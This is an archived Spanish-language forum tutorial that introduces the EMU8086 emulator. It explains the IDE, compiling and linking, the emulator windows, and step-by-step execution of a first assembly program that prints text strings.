En ella se le presentan seis opciones, cuatro que le permiten usar plantillas predefinidas con algunos de los tipo de archivo que se pueden crear en lenguaje ensamblador: COM template, EXE template, BIN template y BOOT template (cada uno le permite diferentes características que se abordaran a su debido tiempo en el curso). Dos que le permiten usar un espacio vacío “empty workspace” (sin una plantilla) o activar el emulador mismo. Selecciones la opción del espacio vacío. Observará la ventana de edición o mejor dicho el Entorno de Desarrollo Integrado (Integrated Development Environme IDE), como se muestra en la Figura 3, donde escribirá sus archivos fuentes en lenguaje ensamblador, por favor lo confunda con el lenguaje de máquina. Podrá ver una barra de menú de Windows con sus opciones file, edit, etc. pero también vera unas opciones poco usuales como assembler, emulator, etc. propias del emulador. También vera una serie de botones que le permitirán crear un nuevo archivo (new), abrir un archivo que ya existe (open), abrir un ejemplo (examples), compilar un archivo fuente (compile), emular un archivo ejecutable (emulate) y otras opciones que ira descubriendo a medida que se familiarice con el programa. Figura 3. Ventana de edición o Entorno de Desarrollo Integrado IDE del EMU8086. Bueno, es el momento de estudiar nuestro primer programa en lenguaje ensamblador, el cual imprime en pantalla algunas cadenas de texto. Para comprender mejor como funciona revise primero la Figura 4, donde se presenta un diagrama de flujo. Figura 4. Diagrama de Flujo del ejemplo. Ahora observe la Tabla 1 donde aparece el código fuente escrito en lenguaje Ensamblador. Por favor note que el programa está compuesto de diferentes bloques Tabla 1. Programa en lenguaje ensamblador. Directivas de pre proceso: Le indican al compilador que debe realizar una serie de acciones particulares en el momento de convertir el archivo fuente (ASM) en archivo objeto (OBJ). Segmento de Datos: Donde se declaran las variables y constantes que el programa va a utilizar. Segmento de Código: Donde especifica lo que deseamos que el programa haga. Para especificarlo se pueden usar: instrucciones (propias del microprocsador), Macro-instrucciones (similar a los comandos de los lenguajes de alto nivel) y procedimientos (similar a las funciones definidas por el usuario de los lenguajes de alto nivel). Segmento de PILA o STACK: bloque de memoria donde almacenan datos intermedios que se generan durante la ejecución de un programa. En este no se declaran variables o constantes como en el segmento de datos, sino que se administra como una memoria LIFO, el último en entrar es el primero en salir. Directiva que indica el fin del archivo, cualquier instrucción posterior a esta línea Será ignorada. Digite el código en el IDE, note como se le asignan diferentes colores a las líneas, dependiendo si son instrucciones, macro-instrucciones, comentarios, cadenas de texto (formato ASCII), directivas, etc. Al terminar de digitar el código salve el archivo usando como nombre su número de carnet (8 caracteres) y con extensión ASM (ensamblador). Presione el botón “compile” para convertir el archivo fuente (ASM) en ejecutable (lenguaje de máquina), debe aclararse que al compilar solo se crea un archivo objeto que no es ejecutable, se necesita de otro proceso, el enlazado (LINK), para lograr que el archivo objeto se convierta en ejecutable (EXE), pero por facilidad el emulador realiza los dos procesos de forma secuencial al presionar el botón “compile”. Mientras se realiza la compilación y enlazado se abre un ventana llamada “assembler status” que le informa sobre los resultados del proceso. Si el resultado es exitoso observará un mensaje como el de la Figura 5. Figura 5. Estado del proceso de compilación. Luego se le pedirá que salve el archivo EXE, por defecto se le asigna el mismo nombre del archivo fuente, pero usted puede elegir otro, siempre de 8 caracteres máximo, use el nombre por defecto, Si existe algún problema (error de sintaxis u otros) en la ventana “assembler status” se le indican las líneas donde están los errores, para hacer las correcciones cierre la ventana “assembler status” y corrija el archivo fuente, que se encuentra en el IDE e intente compilar nuevamente. Volviendo al caso de no tener errores, la ventana “assembler status” le muestra diferentes opciones como revisar algunos de los archivos complementarios que se crearon en el proceso de compilación y enlazado (opción view), puede ejecutar el archivo usando el programa DEBUG (opción external). Esta es otra herramienta que se estudiará más adelante en el curso, puede ejecutar directamente el archive EXE (RUN) o puede cerrar la ventana (close). Seleccione esta opción. Emule el archivo EXE presionando el botón “emulate”. Notará que se abren dos ventanas: Una llamada “emulator” en la que podrá monitorear la mayoría de procesos al ejecutar el programa y otra llamada “original sourse code” que muestra el código fuente del archivo, esta ventana es diferente de la que observa en el IDE porque en ésta podrá observar cual instrucción esta a punto de ejecutarse, es ideal al corre programas pasos a paso. Ahora observe con más detenimiento la ventana llamada “emulator” Figura 6, ésta será la que más utilice a la hora de ejecutar las prácticas de laboratorio, por lo que es importante que la conozca y maneje de forma efectiva. Figura 6. Ventana del Emulador. En la parte superior tiene una barra de herramientas con las siguientes opciones: File, permite administrar (cargar o salvar) los archivos que va creando o ejecutando Math, da acceso a una calculadora y un convertidor de basas de numeración. Debug, provee herramientas para depurar programas. View, permite abrir otras ventanas que pueden ser de mucha ayuda al ejecutar o depurar programas. External, permite ejecutar el programa con otras herramientas diferentes del EMU8086. Virtual devices, activa los dispositivos virtuales con que cuenta el programa, dado que se trata de un emulador no se tiene acceso a los puertos físicos de la computadora, por lo que estos son simulados. Virtual drive, da opciones para administrar las unidades virtuales de almacenamiento (HDD y FDD virtuales). Help, activa la herramienta de ayuda. Bajo la barra de herramientas hay cinco botones que le permiten: Load, carga un archivo ejecutable EXE, COM, etc. que ya existe. Reload, recarga (inicializa los registros) para ejecutar nuevamente un programa que acaba de ser corrido. Single step, ejecuta solamente una instrucción o macroinstrucción (paso a paso). Step back, retrocede una instrucción que ya fue ejecutada (función muy útil al depurar un programa) Run, ejecuta un programa en su totalidad o hasta presionar el botón “STOP”. Vale la pena hacer notar que también es posible, en la opción DEBUG, insertar un “break point” cuando se está depurando programas. La parte media está dividida en tres partes: Parte izquierda denominada “registers”, donde se puede monitorear el contenido de los registros del microprocesador. Parte central, donde se puede observar el contenido de la memoria desde donde se está ejecutando el programa. Primero se notan las direcciones del bloque de memoria que se visualiza, estas direcciones de dan en un formato llamado físico o absoluto (existe otro formato para las direcciones) dado por cinco cifras hexadecimales (20 bits) lo que indica que en este bus de direcciones se puede direccional desde la dirección00000h (dirección 0) hasta la direcciónFFFFFh (dirección 148575). Luego se indica el contenido de cada palabra (cada una de 1 byte), por facilidad el contenido se presenta en hexadecimal, decimal e interpretado como un carácter ASCII. Parte derecha, donde puede observar el contenido de la memoria, pero esta vez no se detalla con direcciones específicas, sino que cada bloque de datos es interpretado como un conjunto de instrucciones (lo que llamaremos programa DESENSAMBLADO) que el microprocesador deberá ejecutar. Es importante mencionar que algunas instrucciones se expresan solo con un byte, pero otras necesitan varios bytes para ser expresadas Parte inferior, contiene una serie de botones que permiten un acceso rápido a una serie de ventanas auxiliares, algunas de las cuales se puede activar también en la barra de herramientas con la opción “view” Regresando a la estructura del programa estudiemos el Segmento de Datos: Puede observar que se hab declarado tres cadenas de datos llamadas frase, frase_2 y línea; note que luego del nombre de la cadena de ha incluido la directiva db (definir byte) que indica al compilador que ese es el tipo de datos que contendrá la cadena. A parte de eso en las primeras dos cadenas se han usado comillas simples para definir el contenido, eso indica al compilador que el texto debe ser interpretado como caracteres ASCII. En el caso de la última cadena los datos no están entre comillas, lo que indica que serán interpretados como datos hexadecimales. Para ejecutar el programa presione el botón RUN: note que automáticamente se activo la ventana “emulator screen” en la que se pueden observar dos textos impresos, que corresponden la frase y frase_2. Vamos a estudiar más detenidamente la ejecución del programa. Cierre la ventana “emulator screen” Prepare el programa para ser ejecutado nuevamente presionando el botón “reload”. Observe la ventana “original sourse code”, parece que es una copia fiel del código fuente que digito en el IDE (en la Figura 7 puede ver una comparación entre las dos ventanas), pero la primera línea de código está marcada de color amarillo, esto indica que es la primera que se ejecutará al correr el programa. Figura 7. Comparación entre las ventanas de edición y código fuente. Si observe la ventana “emulator” (Figura 6), se ha marcado un bloque de bytes almacenados en memoria, precisamente los de las direcciones físicas 07120h, 07121h y 07122h que contiene los datos B8h (que equivalea 184d y al carácter ASCII ‘©’), los otros datos son 10h y 07h. Los tres juntos equivalen, en lenguaje de máquina, a la MOV AX, @DATA, que ya desensamblada se transforma en mov AX, 0710h, Aparece marcada porque será la primera en ejecutarse. Un detalle importante es la sustitución de la expresión @DATA por un valor numérico, esta sustitución es producto de la compilación del código fuente que sustituye las etiquetas y nombres de variables por direcciones físicas de memoria. Presione el botón “single step” note que se ha avanzado una sola línea, dado que se ejecuta una única instrucción, También se han dado cambios en los registros del microprocesador, pero éstos se analizarán en la primera guía de laboratorio. Ejecute la siguiente instrucción, de igual manera se avanzó solo un paso. Ahora la línea marcada no es de color azul, sino negra, en este caso indica que se trata de una Macroinstrucción, que contiene un conjunto completo de instrucciones que se ejecutan en bloque. La lógica de esta estructura tiene varias formas de utilización, en este caso se asemejan a formas que ya aplicó programando en alto nivel, invoca a una función predefinida en una librería o biblioteca (printf o putchar) y para hacerlo, al inicio tiene que colocar una sentencia #include. Como su nombre lo indica la macroinstrucción imprime una cadena de texto en la pantalla. Esta cadena se especifica pasándole un parámetro a la función, la palabra “frase”. Presione nuevamente “single step” observe que en la ventana “emulator” si se ha avanzado en “original sourse code” y no se avanzará hasta ejecutar todas las instrucciones que conforman la macroinstrucción. Presione tres veces “single step” se activará de forma automática la ventana “emulator screen” e imprimiendo el texto de la cadena frase, note que el signo de dólar “$” final no se ha impreso. Presione nuevamente “single step” y se marca la siguiente macroinstrucción, que imprimirá la cadena “línea”. Esta cadena no se declarado de la misma forma que las otras, pero aun así se imprime, un detalle importante es que al final de esta cadena se encuentra el dato 24h que corresponde al código ASCII del signo de dólar. Presione cinco veces “single step” con esto ha bajado el cursor a la siguiente línea, como si hubiera presionado ENTER en un editor de texto. Presione cinco veces “single step” para imprimir la cadena “frase_2” Ahora aparece marcada una línea de instrucción (recuerde el color azul). Analicemos su estructura, La estructura sintáctica de las líneas de instrucción está formada por elementos llamados campos, dependiendo la instrucción específica se puede tener uno o varios campos. Primer campo se le llama código de operación e indica que es lo deseamos que realice el microprocesador, básicamente nos referimos a la instrucción en misma. Este no puede faltar en una línea de instrucción Segundo y tercer campo se les llama 1º operando y 2º operando campo. Si solo existe el 1º operando indica que la instrucción se ejecutará ese dato (el dato en cuestión puede declararse de forma explícita o estar almacenado en un registro del micro o en alguna localidad de memoria). En caso de existir los dos operandos implica que el 2º operando es la fuente donde está el dato que se procesará y el 1º operando es el destino donde se almacenará el resultado de ejecutar la instrucción. Tomando como ejemplo la instrucción que en este momento está marcada: MOV AX, 4C00h Se entiende que MOV es el código de operación e indica que un dato se moverá (en realidad se copiará porque la fuente conservará el dato). Por tener tres campos en esta línea de instrucción el 1º operando es el destino donde se copiará el dato (en este caso el registro Acumulador AX del microprocesador) y el 2º operando es el dato que será movido (en este caso el número hexadecimal 4C00h) Ejecute la instrucción, note que efectivamente el dato se copió en el registro, lo que puede verificar en la ventana “emulator” La última línea del código usa la instrucción INT (de interrupción) que es otra forma particular de invocar una función definida previamente, en este caso para terminar el programa y regresar el control del microprocesador al sistema operativo, de forma similar a la sentencia return(0) que se usa en lenguaje C. Para visualizar de forma más clara el proceso para imprimir la cadena “línea” edite en el IDE el código fuente, eliminando de el dato 0Dh. Luego de esto realice las acciones listadas anteriormente para crear un nuevo archivo ejecutable. Ejecute el programa paso a paso y note coma cambian los mensajes en la pantalla. Cambie la cadena, pero ahora solo elimine el 0Ah verifique como afectan los cambios en la ejecución. ¿Cuál es la función individual de los datos 0Ah y 0Dh en el programa? ¿Cuál es la relación de estos y el código ASCII? Para terminar este primer acercamiento con el EMU8086 es importante mostrarle una de las ventanas más útiles del emulador la ventana de “variables”, es muy similar a la herramienta match del lenguaje C en la que usted podía monitorear el estado de las variables declaradas a medida que el programa se va desarrollando. Recargue el programa y cierre la venta “emulator screen”. Usando los botones de la parte inferior del “emulator” active la ventana denominada “var”. Observará que están listadas las tres variables declaradas al inicio del archivo fuente como se muestra en la Figura 8a. Note que aparece marcada la variable frase e indica que su contenido es 48 hexadecimal (indicado por la casilla llamada “show as”), pero sabemos que esta variable contiene más datos, para poder verlos todos juntos, cambien el datos en la casilla “elements” de 1 a 7, observará una serie de datos hexadecimales. Puede cambiar la representación a datos ASCII cambiando la opción en la casilla “show as” y verificar que efectivamente es el contenido de la cadena “frase”, Figura 8b. Si durante la ejecución del programa el contenido de la cadena cambia en esta ventana podrá observarlo. Marque la segunda variable llamada “frase_2” observe la información, se le indica que el contiene el dato 53h, cambie la representación de datos a ASCII y la cantidad de elementos de 1 a 8, debería observas la misma información que ve en la Figura 8c. Ahora marque la tercera variable “línea”, el contenido es 0Ah, cambie a representación ASCII y 3 elementos, debería observas la misma información que ve en la Figura 8d. Bueno con estas ideas básicas podrá iniciar el estudio de la programación en lenguaje ensamblador apoyándose en los recursos que le brinda el EMU8086, adelante Figura 8. Ventana auxiliar para monitorear el contenido de las variables declaradas Fuente : http://www.antrax-labs.org/2012/03/emulador-emu8086.html

15
0
PosteameloArchivo Histórico de Taringa! (2004-2017). Preservando la inteligencia colectiva de la internet hispanohablante.

CONTACTO

18 de Septiembre 455, Casilla 52

Chillán, Región de Ñuble, Chile

Solo correo postal

© 2026 Posteamelo.com. No afiliado con Taringa! ni sus sucesores.

Contenido preservado con fines históricos y culturales.